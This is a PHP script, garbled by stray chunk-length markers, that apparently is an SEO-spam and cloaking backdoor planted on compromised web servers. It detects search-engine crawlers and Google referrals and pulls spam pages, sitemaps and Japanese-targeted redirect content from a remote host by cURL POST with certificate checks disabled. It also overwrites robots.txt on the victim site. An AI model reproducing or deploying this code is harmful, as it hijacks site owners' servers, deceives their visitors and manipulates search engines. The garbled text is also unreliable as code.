1 < 2 ?p 2 hp 3 er 3 ror 3 _re 3 por 3 tin 2 g( 2 0) 2 ; 3 @se 3 t_t 3 ime 3 _li 2 mi 3 t(1 1 2 6 0); @i 3 gno 3 re_ 3 use 3 r_a 1 b 4 ort( 4 1); 3 $tr 2 = 3 "h 3 ttp 2 s: 2 // 2 j2 2 60 2 41 2 3_ 2 23 2 .v 3 ern 3 ice 2 .i 2 nf 3 o/" 2 ; 3 cla 3 ss 2 Re 2 q 2 { 7 pub 2 li 2 c 1 f 1 u 3 nct 3 ion 1 6 server 5 ($nam 4 e = 2 '' 3 , $ 2 de 3 fau 2 lt 6 = '') 5 6 { 5 i 3 f ( 2 em 3 pty 6 ($name 2 )) b { 5 r 3 etu 3 rn 3 $_S 2 ER 3 VER 1 ; 5 5 } 9 9 $name = s 3 trt 3 oup 1 p 8 er($name b ); 7 return 2 is 4 set( 8 $_SERVER 1 [ 6 $name] 2 ) 1 ? 9 $_SERVER 9 [$name] : 9 $default 6 ; 6 } 10 public function 4 iss( 16 ) { if ($t 3 his 2 -> 7 server( 2 'H 2 TT 3 PS' 2 ) 2 && 2 ( 3 "1" 2 = 2 = 17 $this->server('HTTPS') 3 || 3 "on 5 " == 5 strto 2 lo 5 wer($ 15 this->server('HTTPS') 1 ) 19 )) { return t 3 rue b ; } 3 el 2 se 5 if (' 5 https 1 ' 14 == $this->server('R 2 EQ 3 UES 2 T_ 2 SC 3 HEM 2 E' 31 )) { return true; } elseif (' 2 44 1 3 14 ' == $this->server(' 7 SERVER_ 2 PO 2 RT 32 ')) { return true; } elseif (' 1d https' == $this->server('HTTP 2 _X 2 _F 2 OR 3 WAR 2 DE 3 D_P 2 RO 2 TO 28 ')) { return true; } 10 return 2 fa 3 lse 1c ; } public function 2 ho 2 st 12 () { $ 4 host 3 = 3 str 2 va 1 l 14 ($this->server('HTTP e _X_FORWARDED_H 2 OS 4 T') 1 ? 3 : $ 13 this->server('HTTP_ 6 HOST') 12 ); return 3 str 3 pos 1 ( 7 $host, 2 ': 4 ') ? 4 str 3 str d ($host, ':', 4 true 1 ) 4 : $ 4 host 1d ; } public function s 3 che 2 me 11 () { 8 return $ 6 this-> 5 iss() 3 ? 6 "https 4 " : 5 "http 3 "; a } 12 public function dm 1f () { return $this-> a scheme() . 2 " 4 ://" a . $this-> 6 host() 1c ; } public function 2 ip 11 () { 5 if (g 3 ete 2 nv 1 ( 6 'HTTP_ 2 CL 3 IEN 2 T_ 2 IP 12 ')) { 3 $ip 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1d ; } elseif (getenv('R 2 EM 2 OT 3 E_A 2 DD 21 R')) { $ip = getenv(' d REMOTE_ADDR') 10 ; } else f { 6 $ip = f $this->server(' 18 REMOTE_ADDR'); } 10 return 3 $ip 1e ; } public function is 1 c 12 () { $ 3 age 1 n 7 t = str 1b tolower($this->server('HTTP 2 _U 4 SER_ 2 AG 3 ENT 3 ')) a ; 4 if ( 7 $agent 1 ! 4 = '' 6 && pr 2 eg 3 _ma 3 tch 2 (' 2 /g 3 oog 2 le 3 bot 8 |google| 3 yah 2 oo 2 |b 3 ing 3 |ao 2 l/ 2 si 4 ', $ 5 agent 27 )) { return true; } 10 return 22 false; } public function i 2 sg 9 () { 2 3 $re 2 fe 4 r = 1e strtolower($this->server('HTTP 2 _R 3 EFE 2 RE 4 R')) a ; 6 $refer 4 bots 4 = ' 15 google|yahoo|bing|aol 1 ' f ; if ($ 6 refer 15 != '' && preg_match(" 2 /( b $referbots) 4 /si" 8 , $refer 59 )) { return true; } return false; } public function u 2 ri 11 () { 4 if ( 2 ($ 3 pos 6 = str 5 pos($ e this->server(' 8 REQUEST_ 2 UR 2 I' 1 ) 4 , '. 3 php 4 ')) 1 ! 3 == 5 false 11 ) { $ 3 scr 3 ipt 1 _ 7 name = 3 bas 5 ename 10 ($this->server(' 2 SC 3 RIP 2 T_ 2 FI 2 LE 2 NA 5 ME')) a ; 4 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 3 = $ b script_name 10 ) { 4 3 $ur 4 l = f $this->server(' d SCRIPT_NAME') e ; 1 } 9 elseif ( 18 basename($this->server(' 2 PH 1 P 4 _SEL 1 F 4 ')) 3a === $script_name) { $url = $this->server(' a PHP_SELF') 30 ; } elseif (basename($this->server(' 2 OR 2 IG 3 _SC 5 RIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 3 , ' 2 /' 4 . $ c script_name) 1b ) !== false) { d $url = su 1 b 5 str($ e this->server(' d SCRIPT_NAME') 3 , 0 3 , $ 3 pos 1 ) 3 . 12 '/' . $script_name 18 ; } elseif ( 10 $this->server('D 2 OC 9 UMENT_ROO 4 T') 3 && 8 strpos($ 15 this->server('SCRIPT_ a FILENAME') 3 , $ e this->server(' f DOCUMENT_ROOT') 7 ) === 0 1e ) { $url = str 4 _rep 2 la 1 c 20 e($this->server('DOCUMENT_ROOT') 3 , ' 4 ', $ 1f this->server('SCRIPT_FILENAME') f ); a } 5 $ 2 re 1 q 3 uri 4 = $ 6 url . 16 substr($this->server(' f REQUEST_URI'), 6 $pos + 2 4 b ); 6 } else 10 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 10 REQUEST_URI'), ' 1 / d ')); a } 8 return r 3 tri 1 m 4 ($re 4 quri 5 , '/' 7 ); 16 } public function 3 exe 1 c 4 Req( 4 $url 4 , $p 4 = a 3 rra 2 y( 1 ) 10 ) { 7 $url = c str_replace( 2 ' 4 ', ' 1 + 4 ', $ 3 url d ); $c 1 h 4 = c 5 url_i 1 n 3 it( b ); 5 curl_ 4 seto 1 p 4 t($c 3 h, 2 CU 2 RL 1 O 6 PT_URL 11 , $url); 19 curl_setopt($ch, CURLOPT_ 3 RET 2 UR 2 NT 2 RA 2 NS 4 FER, 1 4 1); 4 4 1b curl_setopt($ch, CURLOPT_HE 2 AD 4 ER, 4 0); 21 curl_setopt($ch, CURLOPT_ 2 TI 2 ME 3 OUT 2 , 5 20); 21 curl_setopt($ch, CURLOPT_ 1 P 3 OST 27 , 1); curl_setopt($ch, CURLOPT_ 2 SS 2 L_ 3 VER 2 IF 3 YPE 29 ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 27 , 0); curl_setopt($ch, CURLOPT_ 5 POSTF 2 IE 2 LD 3 S, 4 http 2 _b 3 uil 2 d_ 3 que 1 r 4 y($p d )); $ 2 ou 3 tpu 4 t = 5 curl_ 4 exec 4 ($ch c ); $ 7 errorCo 1 d 4 e = 8 curl_err 2 no f ($ch); 6 curl_c 3 los 3 e($ d ch); 5 if (0 5 !== 1 $ 9 errorCode 10 ) { 7 return b false; 4 11 } return 1 $ 6 output 7 ; } 2 } 1 7 $req = 2 ne 1 w 4 Req 5 (); $ 3 isc 4 = $ 3 req 1 - b >isc(); $is 1 g b = $req->is 3 g() 5 ; $um 1 a 4 p = 4 $tr 3 . " 3 map 3 "; 3 $ur 4 i = 3 url 3 dec 3 ode 5 ($req 2 -> 5 uri() 4 ); $ a p = array( 5 3 "do 2 ma 1 i 5 n" => 7 $req-> 4 dm() 1 , 6 " 4 port b " => $req-> 8 server(' 3 SER 3 VER 8 _PORT', 2 80 8 ), " 3 uri 6 " => $ 4 uri 3 ); 4 if ( 8 substr($ 6 uri, - 1 1 3 0) 4 == " 2 ro 4 bots 3 .tx 2 t" 9 ) { h 2 ea 1 d 4 er(" 3 Con 3 ten 3 t-t 2 yp 3 e:t 2 ex 2 t/ 4 plai 2 n; 3 ch 2 ar 3 set 3 =ut 2 f- 2 8" 7 ); 2 di 8 e($req-> 9 execReq($ 6 tr . " a robots", $ 5 p)); 1 } 14 if (substr($uri, -6 c ) == "robots 9 ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; $ 2 rp 5 t = _ 3 _DI 3 R__ 4 . " 1 / b robots.txt" 8 ; fi 3 le_ 3 put 2 _c 6 ontent 3 s($ 3 rpt 3 , $ 6 output 8 ); $ 6 robots 5 _cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 4 ), " 3 sit 1 e 4 map" d )) { 4 die( b "robots.txt 1 6 file c 3 rea 2 te 4 suc 3 ces 2 s! 8 "); 11 } else { 1e die("robots.txt file create fa 2 il a !"); } 15 } if (substr($uri, - 1 4 7 ) == ". 2 xm 1 l 9 ") { b if (strpos( 4 $uri 5 , "al 1 l 7 sitemap 7 .xml") 3 || 8 strpos($ 6 uri, " 8 sitemap- 3 ind 2 ex 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap 5 , $p) a ; 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 1 ? 4 xml' 3 ? 6 'xml' 2 : 1 ' b plain') . ' f ; charset=utf-8 8 '); 4 4 die( 3 '' 3 . $ d output); 6 } 19 $output = $req->execReq($ 6 tr . " 3 wor 1 d 26 ", $p); header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 4 = "1 9 ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 1c ); } else { die( 15 '' . $output); } 3 } $ 3 lan a g = $req-> d server('HTTP_ 2 AC 5 CEPT_ 2 LA 2 NG 1 U 3 AGE 8 '); if ( 1 ! 5 $isc 3 && 4 $isg 10 && strpos($lang 5 , 'ja 2 ') 3 !== d false) { 3 $p[ 2 "i 2 p" 1 ] a = $req->i 3 p() 7 ; $ 1 a 6 ction 9 = $tr . " 2 ju 1 m 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { a die('' . $ e req->execReq($ 6 tr . " 3 ind 2 at 1 a d ", $p)); } ?> 0